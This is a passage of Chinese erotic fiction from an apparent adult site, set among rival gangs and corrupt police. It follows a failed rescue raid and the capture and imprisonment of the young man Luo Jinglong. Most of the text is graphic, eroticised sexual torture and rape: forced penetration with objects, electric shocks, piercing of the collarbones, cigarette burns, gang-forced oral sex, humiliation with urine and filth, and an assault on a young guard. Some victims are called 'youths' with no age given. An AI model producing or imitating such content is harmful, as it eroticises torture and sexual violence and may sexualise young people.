未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

铁血群雄

  一 用酷与残对应
夕阳如血,风急。还不到秋天,却已经有些萧杀的风景。
城南的山坡上,四个人向着北面暮色笼罩的城市,伫立观望。
经过一个多月的修养锻炼,楚飞的身体已经得到了恢复,此时他傲然挺立在山坡之上,望
着远处已经有三两灯火的都市。两道剑眉下,一双星目闪动着光芒。楚飞依然的冷漠镇定
,大战来临之际,他的沉稳和从容让身后的罗景隆对这个只大他三岁的朋友充满了爱慕和
敬佩。
少年的衣服敞开着,露出强健的黝黑的肌肉,晚风吹过,衣襟在风中猎猎做响。他身体的
每一块肌肉都紧绷着,如同一张拉满了的弩,随时准备射出雷霆万钧的一箭。
在他们的身边站着一个高大的藏族汉子,三十岁上下的年纪,头缠布巾,脚蹬皮靴,一袭
宽大的皮袍包裹着他魁梧伟岸的身体,风起处,露出腰上斜插着的一把装饰奇特的佩刀。
汉子从容不迫的在那里站着,气宇轩昂,不怒而威。他是大旗门的护法郎头,前来协助罗
景隆和楚飞一举捣毁豪血寺。
跟在郎头身侧的是一个面容俊美,体形修长的青年,是他的好朋友邢昊。
忽然,从山坡下的路上急跑上来一个人,一身劲装打扮,正是这次参与行动的大旗门的下
属。罗景隆看见来人,连忙问道:“城里情况怎样了?”
来人行礼道:“莫天晚上去赴市长的家宴,不到六点就出门了。”
郎头点头道:“好!正是时候。”他又看了一眼楚飞,征求他的意见。
楚飞的心里比谁都焦急,但仍然镇定的道:“等天全黑下来,我们再出发!”
营救阿力的行动安排在一个黄昏,莫天恰巧外出的时候。罗景隆他们带着从大旗门挑选出来
的十二名精锐好手,直奔莫天的公馆。
莫天的公馆也正是豪血寺组织在城里最大的一个据点,位于城市的东南,是一座占地颇广
的豪华别墅。院子里种着植物花草,将那所豪宅掩映其中,谁能知道在这所装饰豪华的房
屋背后隐藏这多少罪恶的勾当。
大旗门的十六条汉子个个都是顶尖的高手,很快的解决了围墙四面的守卫,趁着黑夜和树
木的掩护,向着主楼包抄过来。
主楼高三层,一楼是会客厅,二楼是莫天的书房和住宅,三楼却是豪血寺的指挥中心,还
有地下室,正是铲除异己刑讯和关押犯人的地方。三层洋楼,却不见一丝灯光,原来每扇
窗户都有厚厚的窗帘遮挡,看不见里面的情形。
在夜色中,整幢楼如同一只蹲伏着的怪兽,充满了邪恶和危险。
风急风劲,一些夜里的冷,而每个人的心里却燃烧着熊熊的烈火,一发不可收拾。
郎头带着大旗门的好汉们迅速的占领了主楼的大厅。他和邢昊领人直奔楼上,豪血寺的手
下不及防备,仓皇抵抗,但他们做梦也想不到谁会有天大的胆子敢袭击市里警局权重一时
的莫警长的宅地。大旗门的好汉们各个龙精虎猛,莫天的手下又哪里是他们的对手。邢昊
下手快而且毒,几乎不留活口,杀出一条血路,大家尾随其厚直向二楼冲去。
楚飞曾被关押在这里,他挂念着阿力,和罗景隆两个人撞开地下室的通道大门,直奔关押
犯人的地牢。
地牢里寂静昏暗,过道里的灯光微弱。一扇扇紧闭的牢门后面,不知道有多少冤屈和仇恨
。楚飞想起了被关押在这里的那段时日,恨的牙关紧咬。他逐个牢房的搜查着,终于发现
了已经被折磨的行销骨立的阿力,阿力此时正被用皮带捆绑在刑讯室正中一张皮椅上,几
条连接着电线的电极夹子夹在他的身上,旁边一张放着各种仪器的桌子旁边,赫然是那个
恶毒的阿强。
当阿强意识到是大旗门的人前来突袭的时候,已经晚了,他被冲进门的罗景隆迎面一拳击
翻在地。
楚飞迅速的冲上前去,扯掉阿力身上的电线和捆绑,掺扶着虚弱的阿力预待站起。
刚迈出一步,阿力一声惨哼,双腿软瘫下来。虽然楚飞尽力的扶住,但他饱受折磨的身体
仍然克制不住的颤抖。原来一只电动阳具仍然深深的插在他的肛门里,楚飞不语,先关了
电动阳具的开关,然后拽着那只橡胶棍子,咬着牙,缓缓的从阿力的身体力抽了出来。
那只粗棍太久的塞在他的肛门里,一经拔出,阿力疼的浑身抽动,双眼翻白,鲜血,黏液
和粪便随着棍子迸溅了出来。
罗景隆见此情景,怒不可遏,他抄起那根血污班驳的刑具,抬腿将昏倒在地的阿强踢的翻
转身子,用脚踏住,胡乱扯开他的笔挺西裤,将电动阳具对着那个粉白屁股的中央使劲插
落。
“啊......不!不!啊........”阿强疼醒过来,扯着嗓子大叫,身体发了疯似的扭摆,
却被罗景隆牢牢的踩在脚下,挣脱不了。
楚飞将已经昏迷的阿力横抱在手中,对罗景隆道:“结果了这小子,我们快离开这里!”
罗景隆仍不解恨,瞥眼看着那张电椅和四周墙上各种形式奇特的刑具,不禁激起了对阿强
更深的痛恨。于是拽起鬼哭狼嚎的阿强往电椅上一摔,一面道:“你带着力哥先走,我要
让这小子得到应有的报应!”说着话,用皮带将阿强固定在椅子上。
“不要耽搁时间了,我先上去,你快一些!”楚飞挂念着怀中的阿力,先行撤退。
“我就来!”罗景隆答应着,一边将电极一个个的夹在阿强的身上。
“求求大爷,饶了我吧!”阿强哀求着。“...求求大爷!...饶...饶命...啊啊啊...!!
!”
罗景隆愤怒的道:“饶了你?做梦!”
随着旋纽开动,椅子上的阿强长声掺叫起来,鼻涕口水流成了一片,却仍不忘声声讨饶。
看着在电刑折磨下,肌肉痉挛扭动着的肉体,少年毕竟觉得过于残忍。眼前的禽兽,他恨
不能把他大卸八块,然而这样残酷暴虐的折磨一个人,却并不是一个心地善良醇厚的人所
能做出来的。于是,他决定一次结束这个罪恶的生命。
二 忘记了英俊的少年
就在这个时候,阿强忽然停止了哀求讨饶的呼叫,这不过是瞬间的事情,可罗景隆却突然
有了种不详的预感,在一个身影从门外无声的向他逼近的同时,罗景隆看见阿强的眼中闪
过一丝兴奋的神采。少年警觉,急欲回身,可来不及了,肩膀上挨了重重一击,他的身体
一歪,身后的人已经揪住了他往怀里一拽,同时抬腿猛撞少年的小腹。不等少年反抗,警
棍又在他的背上狠命砸下,罗景隆闷哼了一声,在一连串的打击后,倒在来人的脚下。
“二当家的,幸亏你来了。”阿强在电椅上不安的扭动着。
来人是莫天的师弟文森,曾在看守所里被铁辉重创,侥幸逃了性命,就一直躲在莫天公馆
的密室里练功恢复。此时因罗景隆一念之仁,而救了阿强的性命。
文森解开阿强身上的捆绑,吩咐道:“快躲回密室去,一会儿被楼上的那几个发现,就走
不了了。”
阿强哼哼哈哈的从屁股里拔出那根电动阳具,看了看被打倒在地的罗景隆,恶狠狠的道:
“先宰了这小子!”
文森道:“大旗门的公子,留着他,还有大用处呢!”
罗景隆心中只恨自己年轻冲动,一时失察而落在了敌人手里。想要通知楼上的同伴,已经
来不及了。阿强将那只污秽不堪的电动阳具插进他的嘴里,他立刻做声不得。待要挣扎,
文森和阿强几条绳索将他的身体横七竖八的捆绑结实,捆绑的动弹不得的少年被堵着嘴押
出刑讯室,拖至走廊尽头,文森在一盏昏黄的壁灯上摸索了一阵,墙角无声的露出一个小
门,他们拖着罗景隆迅速的消失在墙后。
郎头带领大旗门的人找不到罗景隆,莫天也已经赶了回来,他们只好匆匆撤退。
文森见大旗门的人撤走了,自己毕竟不敢在这里多呆,一面派人通知警长莫天,一边将罗
景隆押到了文森所在的看守所里。
一到看守所,怀恨在心的阿强立刻将罗景隆送进了刑讯室,绳捆索绑的少年被吊在空中严
刑拷打已经几个小时了。他身上的衣服被皮鞭抽的破碎飞舞,遍体鳞伤。阿强索性拉下少
年的裤子,将皮鞭的鞭柄捅入少年菊花般稚嫩的肛门,他一下下的推动鞭子柄,让罗景隆
的身体在空中晃动。罗景隆痛苦的呻吟着,掺叫声被塞在嘴里的电动阳具堵住了,他的身
体在空中奋力的挺动了两下,昏了过去。
一盆冷水浇在了罗景隆的身上,少年慢慢的苏醒过来。
阿强更进一步羞辱玩弄着不肯屈服的少年,他拽着少年从破碎的裤子间显露出来的那只年
轻的阴茎,来回摆弄着,手里握着一把闪动着寒芒的小刀试图对少年进行阉割。
罗景隆看着那闪动着的刀光,心中不免起了一阵战栗。
一边的文森拦开阿强握刀的手,他将一口香烟的烟雾喷在满是血污和汗水的少年的脸上,
他拨动罗景隆嘴里那只电动阳具的开关,棍子立刻发出“嗡嗡”的声音,颤动起来,看着
少年痛苦的摆动着头颅,文森哈哈狂笑着,他一边用烟蒂烧罗景隆健壮的身体,一边道:
“我们还要留着这小子要挟大旗门去对付西山党那一伙人呢。他们罗家兄弟反目,给咱们
倒演了一出好戏!”
阿强不甘心的道:“就这样便宜了这小子?”
“你放心,要先打击他的威风嘛!”文森得意的道:“我已经替这个小子找了个很好的去
处了。”
他一边说着话,一边握住插在少年肛门里的鞭子向里使劲一捅,少年的嘴里发出惨哼,身
子在空中无助的扭动起来。
文森命两名看守拿来一套刑具,那是一条精钢打制的“T”字型铁链,一边连接着两只铁环
,铁环张开着,露出尖锐的接口,另一边是一只小铁铐。
“好东西啊!”阿强一见,喜出望外的道。他拿过刑具,将铁环张开,将锐利的接口刺入
罗景隆的肩胛,穿过他的锁骨。
“铁辉在豪血寺被穿了琵琶骨,废了武功。你是他的好兄弟,自然也要有同等的待遇了。
”文森笑眯眯的又点上一只香烟,看着受刑的少年道。
铁环扣在了他的锁骨上,罗景隆疼的浑身颤抖,鲜血顺着铁链流淌下来。
阿强一声狞笑,将另一侧的锁骨上也穿上铁环,一松手,铁链长长的挂了下来,扯动伤处
,罗景隆痛的大叫。惨叫声被那只假阳具压抑着,他额头上汗落如雨,挣扎已经徒劳。同
一时间,阿强又把目标转向他的阴茎。
那只铁铐原来是一只特制的阴茎环,将他的肉棍连同睾丸起根锁住。
“带上这玩意,看你还有多大能耐!”阿强一边说一边扯动罗景隆胸前的铁链,少年只觉
得胸前,下体同时被扯的剧痛,再也忍受不住,绝望的摇着头,露出哀求的神色。
少年被从空中放下来,身上的绳索解开了,但四周是冰冷的牢房围墙,铁窗栅栏,又有看
守环伺,何况锁骨被穿,阴茎上带着铁锁,一条铁链就限制了他的自由。
“你的彪悍到哪里去了?”阿强拔出罗景隆嘴里被唾液沾湿的电动阳具,在少年屈辱的脸
上来回拍打着。
罗景隆双拳紧握,可是带着残忍的刑具,他却丝毫不敢妄动。
文森面对着面前这个精壮结实的少年,也不肯大意,又给罗景隆的手脚上分别带上手铐和
脚镣。
“跪下!”文森阴恻恻的道。
罗景隆稍一迟疑,腿弯处立刻挨了阿强重重的一脚,他一声闷哼,跪在了文森的面前。
文森揪住罗景隆的头发,迫使他仰起脸来,将烟蒂一点点的凑近少年英俊的脸庞。
少年咬紧牙关,眼睛盯着面前的恶魔,他准备着迎接随时袭来的疼痛和屈辱。而文森却将
吮吸的通红的烟蒂移向少年的嘴唇。
罗景隆感到了嘴唇边忽然传来的灼热,他不得不张开嘴,躲避着烟头。烟蒂塞进了他的嘴
里,一阵疼痛...“啊...”
三 屈从于命运或者别的
少年的嘴被文森恶狠狠的捏住,他回手从烟灰缸里抓起一把烟蒂胡乱塞进罗景隆的嘴里。
“以后这就是你的食物,你给我乖乖的咽下去!”
罗景隆试图抗拒,阿强恶毒的扯动他胸前的铁链。少年塞满烟蒂的嘴里发出悲鸣,他费力
的咽下烟头,喉头哽动着,一阵阵想要呕吐的感觉使他的脸涨的通红。胸膛的伤口因为剧
烈的扯动迸裂开来,鲜血再次渗了出来。
看着罗景隆在自己的淫威下就范,文森得意的笑着。“你总算明白自己的地位了,脏猪!
”他一边说着,将一口浓痰吐在罗景隆的脸上。
阿强一脚将罗景隆踢倒在地,按住他的身体,将那只电动阳具从少年的肛门里戳了进去。
罗景隆疼的浑身颤抖,塞着烟蒂的嘴里含糊不清的呻吟着,阿强使劲向里一推,罗景隆身
体猛的挺直,发出一声凄厉的惨叫,终于昏了过去。
罗景隆从剧烈的疼痛中清醒过来。
四面是冰冷潮湿的墙壁,乌黑的铁栅栏门将七八个人囚禁在这不足十平米的房间里。自己
赤裸着身体带着刑具铐镣,正躺在囚室的墙角,头顶处是一个木制的马桶,散发这刺鼻的
骚臭。
几个穿着囚衣蓬头垢面的犯人围拢在他的身边,满脸的委琐神情,其中一个在摆弄他胸前
的刑具。自己正是被那铁链的拉扯而疼醒过来的。
“这小子醒了。”拽着铁链的是个三十多岁年纪的汉子,穿着身肮脏的囚衣,粗手大脚。
“你这玩意挺有趣啊。”他说着拽动铁链,罗景隆带着鸟环的阴茎就随之晃动起来。
“放手!”罗景隆怒斥了一声,推开了那人的胳膊。手臂一抬,带动手铐,发出铁链碰撞
的声音。
四周传来一片窃笑。
刘猛的脸上闪过一些愠色,啐了一口道:“妈的!不识抬举的东西。”
一边的吴四,候斌怂恿着道:“这么好的货色,我们让你先来哦!”
刘猛倒有些心动,但又回头看了一眼坐在床铺边的一个冷漠青年,低声的道:“怕那家伙
...”
罗景隆这时才留意到远处的那个汉子,那个犯人二十五六岁的年纪,身材修长匀称,一头
短发,眼睛冷冷的望着外面,嘴角叼着香烟,好象根本就不关心牢房里发生的事情。身上
没穿囚衣,只是一件白色的背心,工作裤,身上的肌肉轮廓清晰可见,青年的体毛颇重,
手臂上汗毛清楚可见,一片黑色的胸毛从背心的开口处显露出来,更添威武。
罗景隆还发现,整个牢房里,除了自己,只有这个犯人的手脚上带着铐镣。
刘猛这么一说,众人脸上都露出悻悻的表情。
候斌放低了声音道:“郭鸿渐要阻止,不如就让他先上,大家在这里关的久了,不信他不
憋的慌?!”
刘猛想了想,又看了一眼那个叫郭鸿渐的犯人,终于点了点头。
罗景隆见这几个人说话,隐隐觉得不妙,待要站起来,早被刘猛伸手按在墙壁上。
“你要做什么?放开我!”罗景隆怒道。
众囚犯见刘猛领头,也就都少了畏惧郭鸿渐的想法,七手八脚的将罗景隆擒住,拖拽到牢
房里侧另一张床铺前,将他按的跪在床脚,有人取出一截麻绳,穿过罗景隆的手铐,将他
的双手吊在二层铺的柱子上。
“放手!放开我!啊...啊......”罗景隆使劲挣扎着,但手脚被锁着,哪里是这几个饿狼
的对手。双臂被拉拽着用绳索高高吊起,再要挣扎,胸前的铁链被蛮横的扯动,少年一声
惨叫,立刻不敢再反抗了。
“你们玩的够了吧!”猛的身后传来一个冷漠威严的声音。
众囚犯一怔,只见门口的犯人已经回过头来,正冷冷的看向他们。大家有些惊慌,都不约
而同的望向刘猛。
那个犯人缓缓的站了起来,一米八几的个头,站在那里,自有一股威势。“猛子,把他放
下来!”
刘猛看了看身边的几个人,心里畏怯,却只有硬着头皮道:“这小子也是混帮会的,既然
和咱们没什么关系,就让大家伙都爽一爽罢!”
他一说话,身边的囚犯都跟着附和。
郭鸿渐的脸上露出一丝不快,他不说话,朝前走了一步,盯着面前的刘猛。
众人一时间被他的气势所慑,都不敢出声。刘猛吃过对方的苦头,只好不情愿的去解捆吊
着罗竟隆的绳索。
就在此时,牢房外面忽然一个阴森的声音道:“郭警官,好霸道啊!”
罗景隆跟着大家的目光向牢房外望去,心里一沉。隔着铁栅栏,劳方外站着的瘦高男人,
一身看守制服,帽子低低的压在脸上,腋下夹着警棍,蹬着一双大皮靴,正是抓自己进来
的文森,身后跟着一头卷发,坏笑着的阿强和一众警卫。
“文森?!”郭鸿渐看见来人,也不禁眉头一皱。“你居然还没有死!”
文森嚣张的笑道:“郭警官是我的阶下囚,我怎么舍得这么快就死呢!”
有看守打开囚室的铁门,文森昂然走了进来。
“你就是那个和莫警长作对的警察啊?”阿强上下打量着郭鸿渐,脑子里忍不住又打起主
意来。“现在已经是囚犯了,还这么作威作福?!”
囚室里众人一看,已经知道文森是来找郭鸿渐的晦气,谁也不敢多话,悄悄的都溜着墙边
站定,看着局面僵持着。
文森看见被吊绑着双手,跪在床脚的罗景隆,换上一个笑脸道:“这个姿势很不错,相信
大家一定很愿意享受一番吧。”
几个犯人一见这形势,连忙点头应承。
四 呼吸在底层
文森打了个哈哈,继续道:“那还等什么,现在就开始吧!”
刘猛一听看守长发话,朝前跨了一步,又有些畏惧,忍不住又望了郭鸿渐一眼。
郭鸿渐怒道:“猛子,你...”
罗景隆看见郭鸿渐走向刘猛,站在他身后的阿强突然举起了警棍,连忙喊道“小心!”
郭鸿渐不曾提防,被阿强一棍打倒在地,跟着身后几个警卫冲上去疯狂的殴打起倒在地上
的青年犯人,阿强骂道:“你个臭囚犯,真以为自己是老大了!”
刘猛见此情状,再也不犹豫,分开腿站立在罗景隆面前,迅速的脱下裤子,将勃起的阴茎
喂进少年的嘴里。长时间的禁欲使他的下体散发着逼人的恶臭,龟头上满是白色的尿垢,
少年的嘴角泛着白沫,精液和着污垢射进他的嘴里。
他瞥眼看了看被打的站不起来的郭鸿渐,脸上露出幸灾乐祸的笑容,对一边的犯人道:“
候斌,你来!”
早已经按捺不住的候斌兴奋的答应着,一根粘湿坚硬的肉棍随即捅入罗景隆的嘴中。
文森看着刘猛擦拭他余怒未息的肉棍,在一边怂恿道:“还不够尽兴,就多来几次嘛!”
刘猛哈着腰,陪着笑脸,随即想到需要在主子面前多多表现,看见阿强和几个守卫在殴打
郭鸿渐,就连忙跑过去。几个人将郭鸿渐的手铐卸下来,反剪了胳膊,重新铐上。
“你们这群走狗!”郭鸿渐怒骂着。
刘猛从床铺上抓过一双脏袜子,蛮横的塞进郭鸿渐的嘴里。“闭上你的狗嘴!你他妈的才
是狗呢!”一边说一边将袜子顶进郭鸿渐的喉咙,郭鸿渐立刻做声不得。
阿强满意的对刘猛道:“以后,这个牢房就交给你负责了。再有这种目无王法的人,一律
要狠狠的整治才行。”一边说一边贪婪的抚摩着郭鸿渐的身体。
郭鸿渐双手反铐,嘴里塞着袜子,无法反抗,奋力的挣扎却如何能逃脱阿强的掌握。
刘猛连声答应着,又上去讨好的撕开郭鸿渐的衣服道:“是是是,还要仰仗您和文所长的
栽培啊。”
阿强自己动手去脱郭鸿渐的裤子,地上的青年愤怒的挣扎着,但刘猛立刻按住了他挣动的
身体,同时,小腹上挨了警卫重重的一记警棍。他的阴茎被阿强握在手中掳动起来,压抑
已久的情欲在这个不合适宜的时候被挑逗了起来。
阿强一边玩弄着郭鸿渐的身体,一边吩咐守卫将一条香烟和几捆啤酒放在了牢房内。
“烟和酒是给你们的,烟屁股和酒瓶子是给他们俩个的。”阿强感觉到手中青年的阴茎更
加的发热坚硬,手也就更猛烈快速的抽送起来。
“您放心,我一定把他们服侍的周周到到。”刘猛目光闪动,连忙陪着笑道。
被按在地上的郭鸿渐身体剧烈的挺动了几下,滚烫的精液喷射而出,有一些溅在了阿强的
脸上,阿强用手指揩下脸上的黏液,放进嘴里放肆的吮吸着。然后他站起身,掏出自己那
只被淫汁浸泡着的阳具,将尿撒在郭鸿渐的身上。
热乎乎的液体带着骚味在郭鸿渐的身体上流淌,尿液四溅,刘猛闻着那刺鼻的骚味,有一
些溅在了他压制着郭鸿渐身体的胳膊上,他只觉得想要呕吐,脸上却不敢有丝毫的不愉快
,仍然笑着道:“他用您的赏赐洗澡,是他的福气啊!”说完,索性跪在尿水横流的地板
上,必恭必敬的给阿强磕了个响头。
囚室里其余的人依次与罗景隆口交,精液口水汗水流满了少年那张英俊的脸。众人尽了兴
,候斌学着刘猛的样子,翻出自己的一双肮脏散发着异味的袜子,填进罗景隆满是精液污
垢的嘴里。大家一见刘猛在文森和阿强的面前献媚,谁也不肯落后,大家又立刻围拢到郭
鸿渐的身边。
文森和阿强笑眯眯的看着众人将被迫手淫浑身尿液,嘴里堵着袜子,手脚锁着铁链的郭鸿
渐押到牢门一侧,他被按在墙角跪着,手脚用绳索反绑在一起,又将他的身体捆绑在铁栅
栏上,候斌拎过泛着恶臭的马桶挂在郭鸿渐的脖子上。
郭鸿渐浑身疼痛,绳索和铐镣将他捆做一团,他跪在众人的面前,根本无法动弹。脖子上
挂的马桶,铁丝勒进他的脖子,压的他抬不起头来,马桶盖子掀开,面对着的是惨黄色的
尿水和粪便,刺鼻的气味熏的他眼睛都睁不开了,他只能默默的呼吸着骚臭的气息。
“您赏赐的香烟,我们陪那小子抽!”刘猛指着被精液包围着的罗景隆道,又一指被捆绑
在铁栅栏上的郭鸿渐。“啤酒,我们喝完了,再给他喝!”
文森,阿强和几个看守看着凌乱的牢房里充斥着暴虐和凌辱,脸上都露出刻毒的笑意。
文森等人离开不久,刘猛立刻召集众人围坐在一起,将啤酒和香烟分给众人。被捆吊着的
罗景隆跪在众人的中间,几个人喝着酒,抽着烟,调戏着少年作乐。烟雾从四面不断的喷
向罗景隆痛苦迷茫的脸上,一只烟抽完了,旁边立刻拿过一根来续上,然后在罗景隆的身
上将烟蒂按熄。
少年疼的呜咽着,身体忍不住狂乱无助的扭动着,却惹来了囚犯们的哄笑,皮肉烧焦的气
味在牢房众弥漫着,烟头从各个方向烫向他年轻健壮的身体。
众人欢笑作乐,连喝了几瓶啤酒的刘猛叼着烟,摇晃着走到郭鸿渐的面前。“让我试试这
个新马桶。”一边说一边将尿尿在郭鸿渐脖子上挂着的马桶里,他不时的甩动阴茎,有意
让尿液射在郭鸿渐的头上,身上,郭鸿渐无言的接受着羞辱,尿水顺着头发流到后背,肚
子,裤裆里,他嘴里塞着袜子,艰难的呼吸着。
五 暗夜生出隐约情愫
“郭警官,你的神气劲怎么没有了?”侯斌也跳过来,对着郭鸿渐撒尿。尿完了,拖下自
己的鞋子,在郭鸿渐的头上打了一记道:“坐马桶的滋味如何啊?”
郭鸿渐猛的抬起头来,愤怒的看着侯斌,侯斌吓了一跳,猛的朝后退了两步,脸上也慌张
的没了血色。
一边的刘猛笑道:“他也是个犯人,而且是最下等的犯人,你怕他什么!怕他瞪你么?”
说着话,又从脏衣服里翻出自己一个裤头来,颠来倒去的找到满是黄色白色污垢的地方放
在正面,然后套在郭鸿渐的头上,拉下来将郭鸿渐的眼睛鼻孔一起遮住。“眼睛吓人,我
们让他看不见!”
众人哄笑着,侯斌就借着酒劲上去,在郭鸿渐蒙着裤头的脸上左右扇起来。
“有冤的冤报,有仇的报仇哦。”吴四怪叫着跳下床,拾起一只鞋子也凑了过去。
看守所值班室的监视器前,年轻的看守吕明愤怒的站了起来。“这帮犯人简直无法无天,
居然在囚室里动用私刑!”
旁边的同事老董看了一眼年轻帅气的警卫道:“算了,你才来不久,这里面的厉害关系你
弄不清楚。时间长了,你也就见怪不怪了。”
吕明道:“是文所长的意思吗?这成了什么了?这里是看守所,还是他们的土匪窝!”说
着怒冲冲的走了出去。
老董的脸上露出一丝笑意,他摇了摇头,也尾随着离开了值班室。
“住手!”随着一声断喝,牢门打开了,一个年轻的有些稚气的狱警冲了进来。几个犯人
一时全部楞住了。
随后跑来的老董向刘猛使了个眼色,道:“还不快给他们俩个松绑?!”
刘猛望了一眼面前这个新来的俊秀的狱警,冷笑了一声,不情愿的解开罗景隆手铐上的绳
索。
侯斌一看形势,生怕郭鸿渐找自己的麻烦,不甘心的道:“这是文所长的意思,你敢管吗
?”
吕明一拳将侯斌击倒在地,怒喝道:“放人!”
刘猛只得命众人连忙解开捆绑在郭鸿渐身上的绳索。
这样一个夏末的夜晚,空气中流动着这个季节最后的燥热。看守室里却分外安静,罗景隆
,郭鸿渐在和吕明,老董交谈着。
原来,郭鸿渐是警校毕业的警官,在警局里因为怀疑警长莫天与犯罪团伙之间有往来,而
进行追踪调查,结果被莫天指使豪血寺的手下绑架,又利用文森的关系,将他关押在了这
里。
反铐着的双手无法打开,他的身体稍微动作,铁链就发出晃琅琅的声响。说到这里,郭鸿
渐抽了一口老董递到他嘴边的香烟,恨声道:“如今的世道,想伸张正义都身陷牢狱,走
私贩毒,却可以逍遥快活!”
房间里的众人都不接话了,前路对于他们来说是渺茫的,只有这一腔的怒火好象要把这个
夏天最后的夜晚燃烧一样。
沉默了良久,吕明道:“不如我想办法救你们出去!”
一听此话,郭鸿渐立刻摇头道:“不行,那会拖累你们的。”
旁边的老董却忽然眼睛里闪过一道兴奋的光芒。
“你是受了陷害来到这里,小罗的大旗门根据我的了解也是一个口碑很好的社团,我索性
不要了这份龌龊的工作,大家联手,说不定能和这帮恶势力放手一搏!”吕明热血沸腾的
道,他站起来,恨不能立刻就开始行动。
一边的老董插话道:“这样的事情,我赞同,算我一个!”
郭鸿渐沉思了片刻,终于点了点头道:“虽然说事不宜迟,我们还是应该先计划一下。”
大家就逃狱的细节进行了一遍商讨,凌晨时分,吕明送罗景隆和郭鸿渐两人回囚室。他走
之后,老董见四下无人,急忙跑上值班室楼顶的天台。他蹲在台阶旁,就着塔楼上的光束
迅速写好了一张纸条,然后从天台上的鸽笼里取出一只信鸽,将纸条装好,扬手放出。
鸽子很快消失在黎明前的黑暗之中,老董站起身来,刚才的机敏狡诈又被苍老的面孔遮掩
了,他咳嗽了一声,慢慢的走下天台,嘴里嘟囔着。“天凉了,这夜里还真有点冷呢。”
医院里的楚飞和阿力不知道外面发生的这一连串的变故。
郎头和邢昊却在四处寻找罗景隆的下落。
夜已经深沉了,邢昊却没有安睡,他裸着洁白美丽的身体,半靠在床头。忽然听见窗外有
轻微的响动,他轻捷的翻身跃起,抓起一条暗花的丝巾围在腰间,向阳台走去。
一只信鸽!邢昊的眼睛亮了,他取下纸条,挥手放走了信鸽,看着纸条,他的嘴角露出了
一抹笑容,但那笑容却分外的诡异。
他走回屋里,从桌子上拿起香烟,燃着一根,暗夜里一点火光,放射着妖冶的红色。邢昊
拿起电话,急速的拨了一个号码。
接电话的人是西山门的陈勇。
邢昊低声道:“明天晚上子夜,罗景隆将从文森所在的看守所出逃,到时候你带人去将他
擒回西山门,听候发落。”
月光从窗户外洒进来,照在他轻柔英俊的脸上,他的眼里有一丝邪恶的笑让人不寒而栗。
他悠然的吐出一口烟雾,夜色中的他更加的朦胧了起来。
“这么晚了,还没睡?”身后传来郎头低沉磁性的声音。
“啊!我在托以前一个在警局的朋友,看有没有景隆的消息。”邢昊放下电话,没有转身
,一边说话一边后悔自己得意之下竟然不知道郎头什么时候来到他的身后。
郎头叹了口气道:“你也不要太操劳了,总要休息一会才好。”
邢昊回身,看着站在他面前的郎头。这个藏族的汉子高大魁伟,在暗夜中仍然给人以安全
和稳重的感觉,他身上的衣服本敞着,露出壮阔的胸膛和肌肉,他的身上带着藏族人特有
的那种气味,有一些腥膻,却更显得男儿气概。
邢昊不喜欢这个男人身上的味道,但却轻松的笑着,他慢慢的走近郎头,用夹着烟的纤细
手指伸进郎头的衣服中去。“你也睡不着吧。”
“唔...”郎头含糊的答应了一声,身体向后退,却被邢昊一把抱住。
六 耻辱下咽
“让我替你放松一下吧!”邢昊将香烟放到嘴里吸了一口,吐出一片迷幻的烟雾,然后将
烟塞进郎头的嘴角,既而,他的手开始更加深入郎头的身体。这一切他太熟悉了,他知道
面前这个男人的一切,他凭借这个得到了大旗门的荣耀和权利,也得到了信任。
郎头深吸了一口嘴角的香烟,只觉得浑身都被一种极度的温柔所包围,他感到一阵燥热,
心跳也快了。“昊,我们...不要这样了...这...这不好......”郎头的呼吸都急促了起来
,他的血液因为面前这个美丽男子的挑逗和沸腾了。
“谁不好?是你不好还是我不好?”邢昊温柔而且坚决,他很知道任何人在这种关系中都
会有一种深深的负罪感,可他就是想要对方感觉犯下了重罪,让对方欠下自己的感情债,
不过,也许是要拿性命来还的。
他的手握住了郎头的肉棍,那只棍子早已经挺立了起来,昂首等待着他的抚慰。
郎头没有再说话,他爱着面前的男子,这一点他无法欺骗自己。他的身体热烈的迎合着对
方,他想要终止这种让他烦乱的关系的计划再次破灭了。没有办法回到从前,没有办法回
到起初朋友的那种关系了。他大口的吸着烟,仰起头来,搭在邢昊肩上的手臂用力把他往
下按,邢昊的嘴角露出一丝得意的微笑,他很顺从的蹲下身去,将那只火热坚硬的阳具放
进自己的嘴里。
“哦......啊...”郎头发出一声消魂的呻吟,他情不自禁的挺动身体,将他的巨大阳具向
邢昊的口腔深处刺去。
“郭警官,这里的日子过的还不错吧?”莫天在狱警吕明和老董的陪同下来到囚室的门口
。昨天夜里大旗门的袭击让他气的发狂,但是得到了大旗门的罗景隆却是意外的收获,他
一接到阿强的报告,立刻赶了过来。
“莫天,你不要得意的太早了,所谓天网恢恢,疏而不漏!”郭鸿渐冷冷的道。
莫天仰天狂笑。他将一只雪茄放进嘴里,老董掏出打火机要为他点烟,他却转过头看着站
在他旁边的俊秀的狱警吕明。吕明只得接过老董的打火机,替莫天将雪茄点着。
“你是新来的吧!多大了?”莫天将一口雪茄的烟雾喷在吕明的脸上,色迷迷的道。
“报告莫警长,我是武警学院毕业的,今年二十三岁。”吕明退后了一步,立正道。
莫天一手将吕明揽进怀里道:“你看这些罪犯多么猖獗,给你们文所长说,一定要严加看
管啊。”
吕明看了一眼牢房里的郭鸿渐和罗景隆,想到了晚上的逃狱计划,只得忍耐着道:“是,
莫警长的话我记住了。”
莫天又是一阵狂笑,怀里的年轻狱警不安的挣动让他更加的兴奋,他按捺不住心里焚烧着
的欲望,强搂着年轻的狱警道:“好好,你们文所长步在吗?走,陪我去他办公室等他回
来。”
吕明心里暗自吃惊,是不是自己的计划被对方识破了?!
走出看守区,老董锁好一道道铁门,故意耽搁下来。莫天将吕明带进文森的所长办公室,
一进办公室,莫天就反手锁上了房门。
房间里装饰的奢华讲究,一张老板桌上放着警棍和绳索,显然莫天早有了准备。
吕明连忙道:“莫警长,我正在值班,就先告辞了。”
莫天一双饿狼般的眼睛盯着吕明。“你就先陪我一会吧,我已经给你们所长打过招呼了。
你在这里陪我比上班更重要哦。”一边说一边扭住吕明的胳膊往桌子上按。
吕明挣扎着,却不是莫天的对手,他的双手都拧到了背后,吕明忍不住道:“快放手!”
可随即,他想道了晚上的逃脱计划,如果此时出了什么差池......
就在他迟疑的时候,一条绳子已经套住了他的脖子,将他的双臂缠绕住,反绑了起来。莫
天钳制着他的嘴,拿起桌子上的警棍塞进他的嘴里。笑着说:“先吃这个!等会在吃我的
!”
